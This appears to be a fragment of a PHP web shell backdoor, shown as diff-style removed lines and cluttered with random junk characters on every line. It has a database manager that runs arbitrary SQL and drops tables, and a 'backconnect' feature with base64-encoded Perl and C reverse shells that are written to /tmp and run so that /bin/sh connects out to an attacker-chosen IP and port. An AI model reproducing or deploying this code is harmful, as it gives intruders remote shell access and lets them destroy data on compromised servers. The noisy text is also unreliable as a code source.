- }1 S( s5 ]1 N; ?3 x$ r% P; W7 ^
- if ($doing == 'del' && $base64) {
: C0 w- E. R. c - $where = base64_decode($base64);
" p, J# N& }, ^2 k d a - $delete_sql = "DELETE FROM $tablename WHERE $where";3 A$ A7 @( C. X9 ~6 q( c3 x
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ ` y6 ]) G& h* b& [# x - m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
2 m0 ?) J! O& i, D. W - }3 W8 j* Q- K, y8 u# X
- 7 d$ j% U+ ^5 C6 [
- if ($tablename && $doing == 'drop') {
0 p% t. |/ H1 A- G& @, s2 q8 `5 ?0 u - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);% ^" h! I/ ]" E6 ?& L, k' ~
- if (q("DROP TABLE $tablename")) {
- `$ G+ }, \) B$ j+ W - m('Drop table of success');5 L8 I' P( u2 Z
- $tablename = '';9 s( J& x4 T6 m& Y# {8 `6 l
- } else {
2 h4 @+ [: K& d' L/ j+ D( O - m(mysql_error());
# F: O/ j6 G2 F) ^ - }( F) |6 Z1 g0 m% u/ n3 x$ K ^
- }" J3 Q& S- k$ a7 I; P9 Q) a
-
& h7 H4 u; E; V - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
' x5 d& y0 r% K- G' E -
2 w0 e4 G/ Q# H' { - formhead(array('title'=>'MYSQL Manager'));
! p. X- Y1 i1 H$ F+ v+ q6 u, w - makehide('action','sqladmin');: r8 R1 q, |" p
- p('<p>');) `# q% c5 S) P& [6 ], ~
- p('DBHost:');! X0 W7 f4 r9 a2 w# }
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
% {+ [- P# w2 j5 X* B3 n0 ~ - p(':');8 c( v; C. ]# m4 G* A, y
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
! H2 ?* T) n% P- s/ @ - p('DBUser:');6 L! o9 f% m& Y1 X" P
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
- W/ e @% t3 S; U* E+ j - p('DBPass:');
9 ?7 a: h% T9 p z! f: e - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
* A8 O( C2 o+ g. Q! i - p('DBCharset:');
) j( C' V2 A+ Q. w- }- N - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));$ y9 t3 G) C2 h/ Q$ {: J
- makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
7 T& m: S) B2 _3 U/ T7 r3 I1 j# Q - p('</p>');
" S/ X2 O7 ]2 m# h- C' @ - formfoot();
/ O: g7 |5 v1 d1 J4 c9 y - ?>5 ]- X5 V3 g9 z: W. ]
- <script type="text/javascript">
2 u8 \- M' r$ U& Y) B4 S$ Z - function editrecord(action, base64, tablename){; Z$ w6 r6 l# r3 y( t6 J
- if (action == 'del') { - ^* O, A; i+ w
- if (!confirm('Is or isn\'t deletion record?')) return;0 t, Z! V/ Z/ E t" }9 S& N
- }
9 P7 {8 q* B" ]3 K9 l! [ - $('recordlist').doing.value=action;: @) G3 X1 p8 Z5 z
- $('recordlist').base64.value=base64;
/ u* s; Q1 }# `8 p) v - $('recordlist').tablename.value=tablename;9 A- g9 i8 h+ v* a& E
- $('recordlist').submit();; V' _* |8 [* m' z
- }9 k/ A+ W& m6 v8 F; ?
- function moddbname(dbname) {: K7 z% [4 {9 t, b4 e) Y+ O# Q
- if(!dbname) return;8 M {2 r5 O& ~
- $('setdbname').dbname.value=dbname;6 K7 I! `+ ?- ^* s" H
- $('setdbname').submit();' Q) c/ d3 Y3 g, }
- } H/ k+ d! q- c- ?1 T
- function settable(tablename,doing,page) {8 W7 n( b& n0 w2 z9 G, } ?. L
- if(!tablename) return;( }, ~' e+ s1 H
- if (doing) {) i; s) S, W* f0 T, l
- $('settable').doing.value=doing;) X, q) k9 O, [- v I4 ?
- }* b8 J9 q/ s. t6 o, H0 V6 l
- if (page) {6 K# P; d/ h \+ `2 t& H
- $('settable').page.value=page;1 F( R% D0 g1 U2 |4 Y
- }9 |7 V0 {5 K7 g# V! d: D
- $('settable').tablename.value=tablename;
* P/ ]1 J+ `( x( f- S$ J( @ - $('settable').submit();
3 A7 D* B9 K# D, c+ p! |8 x - }0 C7 g9 G9 X) M9 S
- </script>. v5 \1 m5 P! J% d4 {) x
- <?php
* z/ K0 I. k/ b+ R- C - //操作记录
- v! ?( O( }$ b) R' O - formhead(array('name'=>'recordlist'));6 w. o: X1 [: ]- `9 w
- makehide('doing');
/ T5 W3 H2 L$ C) m0 d - makehide('action','sqladmin');
: d! W7 j4 y; H* k% _5 ^/ T1 P8 v - makehide('base64');
( X% @8 E2 M7 L6 L; g - makehide('tablename');
* h( k2 e1 a/ c6 r4 i2 {, D' q - p($dbform);
' K2 W1 x1 L t% R+ H3 O - formfoot();
- ^1 v2 c4 d0 p% M* d - //选定数据库7 R) P* [7 `" f! L4 c0 {0 g N
- formhead(array('name'=>'setdbname'));; G$ r: o' G8 Y. p. \ Z- |
- makehide('action','sqladmin');
3 i$ Y, L) ]+ L; n2 K7 ]/ \# I: I - p($dbform);3 k; X) \8 y7 Y
- if (!$dbname) {! t8 j- R$ X) L+ U, U% ]3 o
- makehide('dbname');' z6 D* x) t3 M7 C" r
- }* u+ s) G- f# j8 h: T
- formfoot();) y; C( M- u: D
- //选定表4 V6 L: u9 @2 O( Y: d$ m
- formhead(array('name'=>'settable'));
% t# o. |& f' H* `$ r9 Z* ?8 \ - makehide('action','sqladmin');8 w$ k+ n" d1 s$ m
- p($dbform);
5 x( k0 a. W0 v7 p$ ^) F - makehide('tablename');
2 J& _7 p) a* I' {. [* k. S - makehide('page',$page);5 H" k& M3 Y6 s" c" h
- makehide('doing');
5 `) N7 ?% G5 l" Y- a - formfoot();
/ J' F" z! T- Q) s$ P" k& P - $cachetables = array();
) |) K* k9 z# n' }8 r2 t - $pagenum = 30;
9 j9 \, }: m, s( a. p" m - $page = intval($page);' S) q0 |- Q5 q) J
- if($page) {
' R1 C% A' w; ^7 F) G - $start_limit = ($page - 1) * $pagenum;5 c# r4 k0 ]& H
- } else {! u- x9 M# k( \4 k) |
- $start_limit = 0;
6 _7 m. n( r# o+ g8 l* q2 O - $page = 1;: C6 K1 N) ]- ]
- }" n' v2 Z& L* h }/ Z
- if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
" z4 v4 o+ ~) f9 E, J$ |6 h7 F( k. g7 M - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);2 O1 C3 w# ?( A- H/ H
- //获取数据库信息: C* z+ q' i* Q$ v) A
- $mysqlver = mysql_get_server_info();
: L$ q7 j' s% P! G - p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');: x% j5 h# J. m# t* n
- $highver = $mysqlver > '4.1' ? 1 : 0;1 l# s: }: o3 M, ^) N* p4 D0 J
- //获取数据库) _; \7 y6 H! k
- $query = q("SHOW DATABASES");
+ |9 S- P3 k2 F2 K - $dbs = array();
' D0 P% x/ [2 B - $dbs[] = '-- Select a database --'; I4 U4 _4 H/ n q" c: V
- while($db = mysql_fetch_array($query)) {# B: ? m% I# ^( Y- L3 X( |$ [
- $dbs[$db['Database']] = $db['Database'];
6 d5 ^4 O6 n8 ]5 s7 ?- T - }$ O6 B6 g! \: L* J6 C( H
- makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));- l1 `4 e+ O: `4 J- {2 W
- $tabledb = array();
& i3 I$ a0 t+ q1 O; i - if ($dbname) {
9 g- m+ |9 b1 k8 v+ c) j3 i' X/ M - p('<p>');; y2 N9 K2 g3 [! C' t
- p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');! c$ Q+ h! h; L6 U: N
- if ($tablename) {; X: h6 c7 V* @& M3 _0 a
- p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');$ G# C" H& I# ~, O2 T! P2 x
- }
5 g: _ K8 r5 ]# b H - p('</p>');
' ~3 s* e N P" n5 v8 { - mysql_select_db($dbname);- [% ?9 s. ~4 G' X
- $getnumsql = '';' k( G# t$ g* Q4 O" n
- $runquery = 0;6 ~( K3 U! o3 \
- if ($sql_query) {" [; u' M* d# N$ {& `# s) b
- $runquery = 1;
9 ~" p3 O3 @" j - }
) H4 A/ `/ b* @* n/ _2 L, C* ? - $allowedit = 0;9 j2 j& c' N. r! i; f2 Z$ ?
- if ($tablename && !$sql_query) { }3 W5 u# X7 x2 p9 y9 I
- $sql_query = "SELECT * FROM $tablename";
- {2 A3 i! z3 U5 K2 E1 q! i0 B - $getnumsql = $sql_query;, O1 p( f' s: d
- $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
5 Y% {8 ?4 [* ]; d+ x$ X! P( H - $allowedit = 1;" B7 ^& P3 y' i; P/ ^! j
- }
/ C3 B6 v& E, w- q6 i: Q - p('<form action="'.$self.'" method="POST">');
3 U9 } K% ^7 l: Y - p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');- F! K4 P: r Q5 D
- makehide('tablename', $tablename);
o1 R' K3 B, `( k4 A- U) c2 [) g - makehide('action','sqladmin');- l" k2 w+ s% d# k* x
- p($dbform);& i; d0 f0 m2 ^+ M
- p('</form>');
3 E+ E& M) `+ D! k1 p4 ~ - if ($tablename || ($runquery && $sql_query)) {
3 @9 ~$ R3 s. {1 ^4 g - if ($doing == 'structure') {
_" b" b% P& ~2 F; F7 g - $result = q("SHOW COLUMNS FROM $tablename");
) n2 A' \! p. Y+ w, d; L) m - $rowdb = array();
- O9 u2 B' {: }+ G' O - while($row = mysql_fetch_array($result)) {$ ^0 u, Q% h' d6 C( d7 r1 z
- $rowdb[] = $row;
7 `+ r {; R# d! I - }" P6 f" \0 _' ~2 u4 J# |
- p('<table border="0" cellpadding="3" cellspacing="0">');" {( P& B0 @" l5 b
- p('<tr class="head">');
/ W$ A! R, ~( a- n - p('<td>Field</td>');0 S# Q& E5 N" @7 u0 g) H# _
- p('<td>Type</td>');
, {" a1 ?6 G! L6 W - p('<td>Null</td>');4 v" D) i1 X* }& K4 z% e! s
- p('<td>Key</td>');
9 U [1 b3 q# j8 m - p('<td>Default</td>');9 o( ~3 b8 P3 I' f G- p& D
- p('<td>Extra</td>');
' b. F( T2 D* ?. d; y1 C4 F - p('</tr>');
& m( k. ^/ J5 h/ V/ j* _% k - foreach ($rowdb as $row) {
! ?/ a; J" {, a0 w - $thisbg = bg();
' d; B+ O9 T/ ], v - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');4 P9 t9 B4 X8 e/ f
- p('<td>'.$row['Field'].'</td>');" N" W) q i m+ f; y5 O; O( G4 S( d
- p('<td>'.$row['Type'].'</td>');$ }0 g3 e$ e! b0 x3 K
- p('<td>'.$row['Null'].' </td>');2 k0 _6 ]$ d5 l" u& ~- [$ O1 i0 P
- p('<td>'.$row['Key'].' </td>');
8 q7 o# A w% m' B2 k/ X( w - p('<td>'.$row['Default'].' </td>');, F0 ^# W' r3 t! X9 O
- p('<td>'.$row['Extra'].' </td>');0 U% `5 j8 R7 b
- p('</tr>');
6 N1 M: r$ i+ f9 H2 z& P% R6 k - }
, x/ f2 s. Y( G+ R8 W" v/ W( [ - tbfoot();) U7 g* l/ H1 m/ _
- } elseif ($doing == 'insert' || $doing == 'edit') {
& x0 f" f2 [$ V8 i9 q: O - $result = q('SHOW COLUMNS FROM '.$tablename);6 T5 M/ e5 b6 _/ L/ f9 w1 l+ I" H
- while ($row = mysql_fetch_array($result)) {3 k: x5 M5 ]" A' e* q; v! t
- $rowdb[] = $row;
0 C V' u5 C3 w0 u1 R - }* q. u9 x8 ?% }$ [2 A' V
- $rs = array();
2 S" d% Z, Y7 w, x& d- u9 ], J, y- { - if ($doing == 'insert') {
( C5 c8 m& I7 j - p('<h2>Insert new line in '.$tablename.' table »</h2>');
" }. E) @9 u; i1 m8 }# ?1 _! A1 D - } else {
6 {2 O$ E8 w$ @ - p('<h2>Update record in '.$tablename.' table »</h2>');# i* u' p" R1 d1 W# p
- $where = base64_decode($base64);
/ I0 P' ]; ]& Q7 u: [6 ]8 ~* |2 x - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
7 l6 Q) S5 |0 @& [# Q - $rs = mysql_fetch_array($result);
7 G2 ]' n+ U6 n$ w4 l- [1 W8 M8 n - } ^. O8 O5 B- |+ c6 L5 A0 s9 y
- p('<form method="post" action="'.$self.'">');; u/ B- _, ~3 L. |+ i% l
- p($dbform);
7 k+ ~& j5 \ V0 P L7 L# ] - makehide('action','sqladmin');
; K' n7 C8 z- K u - makehide('tablename',$tablename);
$ h: a* U) }; s - p('<table border="0" cellpadding="3" cellspacing="0">');
2 k% n; y8 B: _* ]( l - foreach ($rowdb as $row) {: G" ^% i% f2 N6 K. E- j5 A/ r0 g
- if ($rs[$row['Field']]) {
" `( @ p2 Y) u8 o7 a8 j% m - $value = htmlspecialchars($rs[$row['Field']]);. J+ X4 q3 L% H0 n
- } else {
/ {$ M9 g' [/ O3 K" ~6 V( k+ D' P - $value = '';. h' w3 L0 M% N+ Z; V
- }
- @4 b( I \6 q3 x2 c3 | - $thisbg = bg();
" o1 x/ s' B0 L* h" ^* w6 A - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');! U/ v' H9 C/ l7 p% L0 a. X
- p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');0 F; n$ F# U! L: F
- }" M1 i! I* t! |0 {$ x
- if ($doing == 'insert') {! n; h& L) T1 Q; M( c$ {
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
( Y8 q; u4 b2 p% O. G8 I9 h - } else {
& n: X' Q0 @0 ^3 @; Y - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');( l! w) e3 d7 }' E. r
- makehide('base64', $base64);: Y( |: S7 n, D; `# }% a: g
- }
. E. L" k c" V4 P - p('</table></form>'); F; m; \0 K6 t" K5 m7 w' }# T) D" g
- } else {/ e2 F' i' r7 N1 n: o! V
- $querys = @explode(';',$sql_query);
$ r7 r- g) F1 s; Y - foreach($querys as $num=>$query) { ^, s( D% Z" ^3 g
- if ($query) {
! j9 H- Y; \& M' ~$ q - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
h& R6 y7 ~( |3 l; Z: A6 y - switch(qy($query))
8 p5 A3 v% G. F- S' i - {( e3 D# s0 e+ |! \
- case 0:1 l V# j* j* ]/ e& e
- p('<h2>Error : '.mysql_error().'</h2>');
* ~/ `; i& j; N* A; G5 b4 N& {- C8 U - break; 5 V9 O$ t9 }' ]( D
- case 1:8 G0 D3 i- L L6 m
- if (strtolower(substr($query,0,13)) == 'select * from') {
' K, M: M9 w# h" q3 f6 X4 q/ T - $allowedit = 1;
. s8 F, i t* `) w( j! W) r - }; X9 i# U# y0 q; R
- if ($getnumsql) {/ {6 q' r5 W) [7 m9 l7 g6 X
- $tatol = mysql_num_rows(q($getnumsql));
9 L# d" Y9 j g% b2 q - $multipage = multi($tatol, $pagenum, $page, $tablename);
3 W# s" Y1 z& O- P) y; L - }
' [+ ~; {2 q$ U' e% Y - if (!$tablename) {
, T" y* f8 s2 Z - $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));# a: d. i$ U9 w
- $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
3 t" x$ L) |. t; t8 Z* Y - preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
# U3 ~" E: X$ F3 G3 v - $tablename = $matches[1][0];+ p2 _( D. f6 \+ X( p7 x
- }
6 v: z ~- R! C! m: W9 ~8 t- z, P8 S+ K+ l - $result = q($query);
# q- e T$ A1 X+ E+ y - p($multipage);: E# y: ]$ O- v" J6 l0 `
- p('<table border="0" cellpadding="3" cellspacing="0">');2 N/ E0 w w z1 @% O: b
- p('<tr class="head">');
$ Y. J" ~; @2 f! _ - if ($allowedit) p('<td>Action</td>');
7 Y; B) _% c9 t - $fieldnum = @mysql_num_fields($result);
; @ B- ?) w9 x& u) }6 E. C - for($i=0;$i<$fieldnum;$i++){( l7 H3 s& ^. m8 r& B9 q) |: i
- $name = @mysql_field_name($result, $i);
$ o/ Q5 Y) s1 M9 m y }+ x$ L - $type = @mysql_field_type($result, $i);# ?) N2 u, W7 p+ z
- $len = @mysql_field_len($result, $i);7 l( E1 k9 \) g1 z3 l6 ?
- p("<td nowrap>$name<br><span>$type($len)</span></td>");' x+ M2 y; j$ u. T; v0 {. D
- }
0 c5 J, I3 C( F - p('</tr>');
2 F5 }% r2 z" q/ P - while($mn = @mysql_fetch_assoc($result)){
/ E: O* l+ N7 \5 y" B/ l - $thisbg = bg();
W1 o; |* r o- |9 e - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
5 u" L. q6 w) y - $where = $tmp = $b1 = '';# ]6 f8 g1 d- j0 u% f+ b: X5 F1 u; U
- foreach($mn as $key=>$inside){
* @4 L2 P$ t( @1 K - if ($inside) {, V/ }# X% P+ ]( [
- $where .= $tmp.$key."='".addslashes($inside)."'";7 v! ~6 }+ N/ I) t
- $tmp = ' AND ';
[; s7 A# [7 P3 I t0 G - }/ T5 h' b' x5 Z, w
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';0 U! B5 c# m7 X" W: P7 B
- }
; i& T' Y( a8 l4 v - $where = base64_encode($where);
2 m# r. a+ M( \* m# K0 m1 ` - if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
, ^) [! I5 ?- D7 C3 D0 Z - p($b1);; C: b, G3 b: o" g% j) t
- p('</tr>');
; Y2 x7 b8 [: Y( X - unset($b1);
) d, K4 R- z/ }+ y" g( {2 j - }
& H9 | ^/ B0 D. ~8 s0 G - tbfoot();6 e, ]& ~" B' G" V1 t" o% Y
- p($multipage);
5 x# k) Q3 z# r* Q - break;
3 K' J- M4 J7 w7 L D - case 2:' n2 X$ `; e* m
- $ar = mysql_affected_rows();; Z% y" }9 z' l1 E
- p('<h2>affected rows : <b>'.$ar.'</b></h2>');6 f- d" Y. \% N. R: o7 [( _
- break;
8 g+ v; c' w& x3 @ - }" K) p7 j9 w# e7 W$ ?9 r) v/ ]8 C
- }: t5 M0 D# E" N7 I: I) t5 K" C7 w9 {4 o4 u
- }( C7 i2 _' m# S1 [
- }% b7 E+ u1 G5 j5 o! s5 o, R2 t' M
- } else {' p( C; G+ ^& b/ ^* Q
- $query = q("SHOW TABLE STATUS");7 l7 N; F0 F7 x$ t9 P
- $table_num = $table_rows = $data_size = 0;% n& e, m* b2 |9 \2 K
- $tabledb = array();
- U) @, h F0 @- Y3 } - while($table = mysql_fetch_array($query)) {
( @6 p9 E! c/ m' R' G6 l" X - $data_size = $data_size + $table['Data_length'];/ r' r3 h8 f$ K$ M
- $table_rows = $table_rows + $table['Rows'];
0 [& ]9 g7 {0 q6 y7 O4 Y - $table['Data_length'] = sizecount($table['Data_length']);
; J- v2 m- Q' E+ l! A/ T# ?9 { - $table_num++;1 ~; _6 r1 }; |- U8 _" I R1 L. r
- $tabledb[] = $table;% L/ l4 \6 x2 I4 A5 |8 X6 w( M
- } L% T( C9 t: [
- $data_size = sizecount($data_size);1 y+ \+ y" j8 L4 D* P6 c
- unset($table);
: C( l# \4 `; g% L - p('<table border="0" cellpadding="0" cellspacing="0">');% d7 u% N2 z1 P1 b9 ^9 w; e8 ~
- p('<form action="'.$self.'" method="POST">');
' ~) @6 k. G, c$ S, j/ G6 G - makehide('action','sqladmin');
) D, i" Q$ w) k2 I# c: Y - p($dbform);
# H9 o" d& C0 H/ u - p('<tr class="head">');
5 {: \) \* c. { t3 ?) O: b - p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');2 Z- B7 T! _+ O4 `, D. Y& c
- p('<td>Name</td>');8 ?" E+ C( Y7 t
- p('<td>Rows</td>');
: q( q7 @' w4 Y7 U6 `6 K1 P, D* { - p('<td>Data_length</td>'); d' ~: q/ J: b* e' ?
- p('<td>Create_time</td>');0 f8 o, Z! z7 M1 Y( v5 j7 ]5 S- W
- p('<td>Update_time</td>');( V# Q: g$ B. u, g( R
- if ($highver) {
+ N$ B) Y8 C1 y - p('<td>Engine</td>');
, x. z! g8 a# q - p('<td>Collation</td>');
8 h& G8 l8 d' x1 R. |& U' @ - }6 u# ?) _8 m, G2 l
- p('</tr>');
3 A6 u$ ^) R8 y5 Z2 m - foreach ($tabledb as $key => $table) {
. r$ u2 s* @* F - $thisbg = bg();/ r$ a. |: c" Z! V0 I+ u. `
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');1 m* S! K. [ y+ T9 D
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
: O) n8 N3 [; D6 f& c - p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
9 |: N; I% K3 ^" H4 z - p('<td>'.$table['Rows'].'</td>');
4 B0 H! p4 i5 S& N - p('<td>'.$table['Data_length'].'</td>');
4 {- Z9 v$ T8 \/ [ - p('<td>'.$table['Create_time'].'</td>');
^5 Z, J. M' m6 v - p('<td>'.$table['Update_time'].'</td>');
9 X4 i/ D9 w1 q( w) U2 c - if ($highver) {( Z/ j! P# w+ Q& b
- p('<td>'.$table['Engine'].'</td>');
: \" p* E$ e; ? ?. }1 n3 Q - p('<td>'.$table['Collation'].'</td>');3 p& E5 L' [& v ^, Q
- }. s& X1 X/ E9 [1 `" v& P
- p('</tr>');5 h; X7 n5 K0 e: \0 e
- }
: F7 B2 f, _, }; M - p('<tr class='.bg().'>');
, X: G1 ^) I8 N) a+ ^ - p('<td> </td>');) |. E4 R- ?6 l% m( N3 o0 P! Y
- p('<td>Total tables: '.$table_num.'</td>');
6 S" E4 @7 M. V) c& k, s3 C. ^5 k - p('<td>'.$table_rows.'</td>');" F% T% b! D2 |" W! z
- p('<td>'.$data_size.'</td>');
7 j) P1 Y! i1 l: k7 s - p('<td colspan="'.($highver ? 4 : 2).'"> </td>');. K* K4 ]' l% H8 g3 _* }: F1 e
- p('</tr>');
9 m J; T9 c$ v - p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
' m: c5 L2 B( h8 f& V4 F2 X - makehide('doing','backupmysql');* u3 a, U: L6 M$ @0 D: c9 l
- formfoot();1 h$ A4 T4 v, d# e6 z
- p("</table>");" k5 r: K9 x% w2 k& K
- fr($query);
- |5 H; t/ e* s - }+ F9 H( k# @2 v: Z
- }
" D N+ @5 c/ d+ Z) t: n7 K5 R - }# Z1 A7 e5 U0 d6 t" o- f
- tbfoot();: L$ T. ?, N q" R; b
- @mysql_close();( y# t- ~9 `6 G1 b9 m. Q
- }//end sql backup7 r0 Z8 l' p" c
- elseif ($action == 'backconnect') {: f$ {1 y9 M W9 q9 W5 b
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1 S3 T `# G4 j& R - !$yourport && $yourport = '12345';
. _ D. I1 { O. v- ` - $usedb = array('perl'=>'perl','c'=>'c');1 p( a( f" ]7 w( `- A
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".% j! K+ G& ?- @1 k6 ^- ~
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".3 V3 s2 ?0 ^" U- ?: O
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".7 V, Y% C9 I* I9 ?
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
6 R; ~ a. m* I! g - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".& R! ], T: U/ L2 V* b) C0 p/ T
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". l/ Y, |' O, V' O; R4 n; n& ?
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
4 T$ e2 Y% Q3 v& e7 `& k$ J9 Y. U5 F - $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
. x8 P4 {8 T+ U) M - "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
) q2 r6 l/ J. F$ M& T8 u9 W - "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".2 ^5 W m0 f: F. `( x9 }
- "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
+ W' W' U2 L* g - "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
. S$ T0 U( y6 ^) A( D) I+ g) S' | - "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".4 A$ t; M1 o; F+ i- o
- "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".6 y) }3 N# b; c. Y# Y l# C
- "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";- H+ r8 B0 U/ O* q4 z
- if ($start && $yourip && $yourport && $use){1 J& r7 w8 C5 |+ F: p9 s
- if ($use == 'perl') {
1 S: F4 s! D6 h( ~% i - cf('/tmp/angel_bc',$back_connect);# ]* _4 ?( D9 U
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");$ o. p' B" g2 c( `
- } else {' Q& V( ?/ y. y' i
- cf('/tmp/angel_bc.c',$back_connect_c);: l9 |8 y1 Q3 Y v% S$ f- u
- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');: ?/ s' w) }; j: P( S% X
- @unlink('/tmp/angel_bc.c');
, |) Q9 i/ ?1 t$ a: f& O - $res = execute("/tmp/angel_bc $yourip $yourport &");
1 |8 v! m) l( \1 S* _9 b: } - }! S" p/ D4 m ?' q- n
- m("Now script try connect to $yourip port $yourport ...");
" w" c2 I# @2 I - }, M* D: z2 f9 L* _8 e& p- P
